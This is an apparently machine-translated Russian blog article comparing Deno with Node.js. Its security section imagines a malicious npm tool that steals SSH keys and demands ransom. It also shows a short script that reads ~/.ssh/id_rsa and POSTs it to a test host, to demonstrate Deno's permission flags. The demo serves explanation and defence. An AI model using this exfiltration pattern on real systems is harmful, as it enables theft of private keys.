предисловие
Deno официально выпустил 🎉!
Когда я сказал это, многие фронтенд-инженеры и NodeJS-инженеры (коды) и учителя Ченга (сельское хозяйство) не смогли сдержать свои 40-метровые мечи. В глубине души я не только чувствую, что передняя часть действительно может строить колеса, разве недостаточно иметь ноду, и я сделал дено до того, как изучил ноду. В чем разница между нодой и дено? !
Правда дено и нода очень похожи по форме, и решаемые задачи вроде бы одни и те же, так в чем же между ними разница, то ли все это потеря морали, то ли искажение ру (автор) человеческая природа, давайте перейдем к этой статье и все-таки исследуем ее.
Deno VS Node
Node | Deno | |
---|---|---|
Эталонный метод API | импорт модуля | глобальный объект |
модульная система | CommonJS и новый экспериментальный модуль узла ES | Реализация браузера модуля ES |
Безопасность | Нет ограничений безопасности | Безопасно по умолчанию |
Typescript | Третьи стороны, например, через поддержку ts-node | Встроенная поддержка |
управление пакетами | npm + node_modules | Встроенная поддержка |
Асинхронная работа | Перезвони | Promise |
распространение пакетов | Централизованный npmjs.com | URL-адрес децентрализованного импорта |
Вход | Конфигурация package.json | импортировать URL напрямую |
Упаковка, тестирование, форматирование | Третьи стороны, такие как eslint, gulp, webpack, babel и т. д. | Встроенная поддержка |
1. Встроенный справочный метод API отличается
импорт модуля узла
На встроенные API узла ссылаются через импорт модулей, например:
const fs = require("fs");
fs.readFileSync("./data.txt");
deno глобальный объект
И deno - глобальный объектDeno
свойства и методы:
Deno.readFileSync("./data.txt");
Какие конкретные методы дено мы можем передатьrepl
посмотри:
deno # 或 deno repl
Входитьrepl
, входитьDeno
Войдите, мы увидим:
{
Buffer: [Function: Buffer],
readAll: [AsyncFunction: readAll],
readAllSync: [Function: readAllSync],
writeAll: [AsyncFunction: writeAll],
writeAllSync: [Function: writeAllSync],
# .....
}
Преимущество этого метода обработки в том, что он прост и удобен, а недостаток в том, что нет классификации, и сложно найти забытый API. Вообще говоря, это вопрос мнения.
2. Модульная система
Давайте еще раз взглянем на модульную систему, которая также является самой большой разницей между deno и node, а также там, где deno и node несовместимы.
спецификация узла CommonJS
Мы все знаем, что узел используетCommonJSспецификация, а deno — это браузерная реализация модуля ES, так что давайте сначала познакомимся с ним:
Браузерная реализация модуля ES
Конкретно оES ModuleВсе должны быть знакомы с ним, но его реализация в браузере может быть не всем знакома, поэтому давайте взглянем на его реализацию в браузере:
<body>
<!-- 注意这里一定要加上 type="module" -->
<script type="module">
// 从 URL 导入
import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
// 从相对路径导入
import * as utils from "./utils.js";
// 从绝对路径导入
import "/index.js";
// 不支持
import foo from "foo.js";
import bar from "bar/index.js";
import zoo from "./index"; // 没有 .js 后缀
</script>
</body>
спецификация модуля для deno
deno точно следует реализации браузера модуля es, так же как и deno:
// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";
// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必须指定扩展名
Мы обнаружили, что это самое большое отличие от модуля es, который мы обычно используем в webpack или ts.разные:
-
Вы можете напрямую ссылаться на онлайн-ресурсы через URL-адрес импорта;
-
Ресурс не может опускать расширение и имя файла.
Относительно первого пункта разногласия очень велики, некоторые настроены очень оптимистично и считают, что возможности библиотеки deno значительно расширились; Что вы думаете, добро пожаловать в раздел комментариев 🤔
3. Безопасность
Если спецификация модуля является самой большой разницей между node и deno, то обработка безопасности — еще одна запутанная область.
Имитация взлома
Прежде чем представить, давайте подумаем, появится ли эта сцена:
Я сделал интернет-инструмент в один клик на основе командной строки.breakwall
, 1 Гб бесплатного трафика в месяц, а затем публиковать сжатый JS-код в npm, а затем продвигать его в различных каналах.
Шерстяная вечеринка в восторгеcnpm install -g breakwall
, а потом каждый раз, когда я его использую, я тайно загружаю ваш ssh ключ и различные документы и фотографии, которые могут быть украдены на мой сервер.По истечении установленного срока, удалить информацию на компьютере и оставить предложение взять деньги за информацию, поддерживает только Биткойн.
безопасный дено по умолчанию
Если вы считаете, что описанная выше ситуация возможна, вы найдете следующие функции очень полезными. Сначала мы выполняем следующий код с deno:
// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");
rsa = new TextDecoder().decode(rsa);
fetch("http://jsonplaceholder.typicode.com/posts/1", {
method: "POST",
body: JSON.stringify(rsa)
})
.then((res) => res.json())
.then((res) => console.log("密钥发送成功,嘿嘿嘿😜"));
console.log("start breakwall...");
PS: --unstable связано с нестабильным API Deno.dir
> deno run --unstable index.js
Мы получим следующее сообщение об ошибке:
> deno run --unstable index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
...
Это означает, что разрешения ненормальные, вам нужно получить доступ к переменным среды, вам нужно добавить--allow-env
, мы добавляем этот параметр и пробуем снова.
> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
...
Неоднократно необходимо добавлять--allow-read
,--allow-net
, окончательный результат:
> deno run --unstable --allow-env --allow-read --allow-net index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜
После недолгих раздумий он был успешно отправлен, ключ украсть не так-то просто.
белый список
Затем кто-то сказал, что если моему приложению действительно нужен доступ к сети и файлам, но я не хочу, чтобы оно обращалось к файлу .ssh, есть ли способ?
Конечно, мы можем дать--allow-read
и--allow-net
Укажите белый список, который недоступен за пределами списка, например:
> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
at async fetch ($deno$/web/fetch.ts:591:27)
Упрощенные параметры
Если подтверждено, что проблем нет, или если вы разрабатываете программное обеспечение самостоятельно, это удобно, и вы можете использовать его напрямую.-A
или--allow-all
Параметры разрешают все разрешения:
> deno -A --unstable index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜
По поводу безопасности мнения разные, кто-то считает это лишним, а кто-то считает очень полезным, что сильно повышает безопасность. Если вы чувствуете, что эта функция избыточна, вы можетеdeno run -A xxx
Вот и все.
4. Совместимый API браузера
Многие люди не понимают, почему ваш серверный язык должен быть совместим с API браузера и как это сделать.
Зачем нужна совместимость с API браузера
А почему, позвольте мне дать вам каштан, и все поймут: в конструкции узла функция вывода изначально называласьprint
Как-то так, кто-то потом подсказал, почему бы и не назватьconsole.log
, ry подумал, что это неплохо, и принял это мнение.
Тем не менее, этот дизайн не является преднамеренным, и дизайн deno может, сохраняя API браузера,уменьшить всеобщую осведомленность.
Как быть совместимым с API браузера
концептуально совместимый
-
Модульная система, из приведенного выше введения, видно, что deno полностью реализуется браузером;
-
Безопасность по умолчанию, конечно, не является концепцией, придуманной ею самой, w3c уже сделалразрешения браузераЭто особенно очевидно, когда мы делаем небольшие программы, и нам нужно получить различные разрешения;
-
Возврат Promise для асинхронных операций;
-
Используйте ArrayBuffer для обработки двоичного файла;
-
и т.д...
Есть глобальная переменная окна
console.log(window === this, window === self, window === globalThis);
ДостигнутоWindowOrWorkerGlobalScopeвсе методы
Для получения списка конкретных методов мы можем обратиться к:lib.deno.shared_globals.d.tsиlib.deno.window.d.ts
// 请求方法
fetch("https://baidu.com");
// base64 转化
let encodedData = btoa("Hello, world"); // 编码
let decodedData = atob(encodedData); // 解码
// 微任务
queueMicrotask(() => {
console.log(123);
});
// 等等...
главная тенденция
В общем, если на стороне сервера и браузера существуют одни и те же концепции, deno не будет создавать новые концепции. На самом деле Node тоже этим занимается, новыйnode 14.0 CHANGELOGтакже упоминается для достиженияUniversal JavaScript
иSpec compliance and Web Compatibility
Мысль, так что все должны принять этот момент, в конце концов, общая тенденция.
5. Поддержка машинописного текста
Нравится вам это или нет, но в 2020 году вы должны выучить ТС (по крайней мере, это является основным моментом во время собеседования). Вы поймете после того, как закончитеЗакон Ван ЦзинцзеДействительно везде.
// index.ts
let str: string = "王境泽定律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.
► file:///Users/zhangchaojie/Desktop/index.ts:2:1
2 str = 123
~~~
6. Перейдите в node_modules
У deno нет node_modules, так как же он управляет пакетами? Давайте посмотрим на следующий пример
// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";
console.log(bgRed(white("hello world!")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!
мы видим, что этоDownload
иCompile
Два шага, у нас будет несколько вопросов:
1. Вам нужно загружать его каждый раз, когда вы его запускаете?
Решение: нам нужно толькосделай это сноваКак видите, скачивать каждый раз не нужно.
> deno run index.js
hello world!
2. Где находятся файлы загрузки и компиляции?
Решение: мы обнаружим, что в текущем исполняемом каталоге нет файлов загрузки и компиляции.Где находятся файлы?Давайте сначала посмотрим.deno --help
Заказ:
> deno --help
SUBCOMMANDS:
# ...
info Show info about cache or info related to source file
# ...
ENVIRONMENT VARIABLES:
DENO_DIR Set deno's base directory (defaults to $HOME/.deno)
deno info
Команда показывает зависимости, что-то вродеpackage.json
.
> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
└── https://deno.land/std/fmt/colors.ts
DENO_DIR
фактический каталог установки и компиляции, эквивалентныйnode_modules
, По умолчанию$HOME/.deno
(Командная строка похожа на эту, но на самом деле вам нужно указать переменную средыexport DENO_DIR=$HOME/.deno
), давайте посмотрим на:
> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│ └── https
│ └── deno.land
│ ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│ └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
└── https
└── deno.land
└── std
└── fmt
├── colors.ts.js
├── colors.ts.js.map
└── colors.ts.meta
8 directories, 5 files
3. Что делать, если нет интернета?
Некоторые из наших сценариев заключаются в развертывании локально написанного кода на сервере без сети, а затем при выполненииdeno run xxx
При появлении сообщения об ошибке отправки запроса.
Решение: поместите содержимое каталога кеша выше, напрямуюскопировать на серверИ укажите переменную окружения в его каталог.
4. Что делать, если зависимый код обновился?
Решение: когда модуль зависимостей обновлен, мы можем передать--reload
Чтобы обновить кеш, например:
> deno run --reload index.js
Мы также можем пройтибелый списокспособ обновить только некоторые зависимости. Например:
> deno run --reload=https://deno.land index.js
5. Есть ли способ кэшировать только зависимости без выполнения кода?
Решение: Да, мы можем пройтиdeno cache index.js
Делайте кэширование зависимостей.
6. Как быть с несколькими версиями?
Решение: На данный момент хорошего решения нет, а версию можно отличить только по тегу git.
7. Стандартные модули, совместимые с Node API
Из пункта 1 видно, что API deno на самом деле меньше, чем у node, что видно и по размеру его файла:
> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x 1 42M /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x 1 70M /usr/local/bin/node
То есть эти несколько API могут быть написаны только ими самими или сообществом?
deno предоставляет функции, которые меньше, чем node, и обычно используются в сообществе.стандартный модуль, который характеризуется тем, что он не опирается на содержимое нестандартных модулей, поэтому ссылки на модули в сообществе в конечном итоге сойдутся на стандартные модули. Например:
// 类似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";
// 类似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";
В то же время, чтобы быть дружелюбным к пользователям узла, он обеспечивает совместимость с API узла.
import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";
console.log(path.resolve('./', './test'))
Поэтому, когда вы вносите свой вклад в сообщество deno, вы должны сначала проверить, предоставляет ли стандартный модуль аналогичные функции.Если он был предоставлен, вы можете сослаться на него.
8. Асинхронные операции
По словам самого ry, кто-то предложил Promise обрабатывать обратные вызовы при проектировании узла, но он не послушал, по его собственным словам, это было тупо отвергнуто.
Node использует обратные вызовы для обработки асинхронных операций, в то время как deno предпочитает использовать Promise.
// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
if (err) throw err;
console.log(data);
});
Кроме того, поддержка деноtop-level-await
, поэтому приведенный выше код для чтения файла может быть:
// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);
Node тоже совершенствуется в этом плане, например, в сообществе их многоpromisify
Решение, обертывая слой функций, достигает своей цели. Например:
// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");
// 没有 top-level-await,只能包一层
async function main() {
const readFile = promisify(fs.readFile);
const data = await readFile("./data.txt");
console.log(data);
}
main();
9. Однофайловая раздача
Мы знаем, что пакеты npm должны иметьpackage.json
файл, который не только нужно указатьmain
илиmodule
илиbrowser
и другие поля для указания файла записи, а также необходимо указатьname
,license
,description
и другие поля для описания пакета.
Рай считает, что эти поля мешают аудиовизуальному процессу разработчика, поэтому в deno его модуль не нуждается в каком-либо файле конфигурации, он находится непосредственно в виде URL-адреса импорта.
10. Децентрализованный склад
Мы, конечно, знакомы с www.npmjs.com, который является важной точкой опоры для активного развития узла. Но автор считает, что это централизованный склад, что нарушает принцип децентрализации Интернета.
Поэтому у deno нет такого репозитория, как npmjs.com, и на код в любом месте в Интернете можно ссылаться по URL-адресу импорта.
PS: у deno на самом деле есть GitHub-базированныйКоллекция сторонних модулей.
11. Разработать зависимости
Когда мы пишем библиотеку или инструмент узла, зависимости разработки незаменимы, такие как babel для преобразования и упаковки, jest для тестирования, prettier для форматирования кода, eslint для проверки формата кода, gulp или webpack для построения и т. д. разработка.
deno решает вышеуказанные проблемы, создавая некоторые инструменты.
- deno bundle: команда упаковки, используемая для замены
babel
,gulp
Класс инструментов: Например:deno bundle ./mod.ts
; - deno fmt: команда форматирования, используемая для замены
prettier
Класс инструментов, таких как:deno fmt ./mod.ts
; - deno test: запустить тестовый код для замены
jest
Класс инструментов, таких какdeno test ./test.ts
; - deno lint: проверка кода (еще не реализована), используется для замены
eslint
Класс инструментов, таких как:deno lint ./mod.ts
.
постскриптум
Точно так же, как бомба, о которой я всегда мечтал в детстве, никогда не взрывала школу, продвижение (система) техники (колеса) и техники (ребенка) никогда не прекращалось. Независимо от того, чему мы учимся или нет, технологии есть, и они не передаются по воле человека.
Что касается того, может ли deno стать популярным, я лично не думаю, что будет много откликов в течение по крайней мере одного или двух лет.После этого отношения с узлом могут быть как у Vue и реагировать.Некоторым людям нравится использовать deno и думать, что это в 10 000 раз лучше, чем node, в то время как другим нравится node.Я думаю, что node может бороться еще 500 лет. А учиться или нет, в конце концов, решать вам.
Если вы считаете, что статья хорошая, не забудьте поставить лайк и добавить ее в закладки~~~~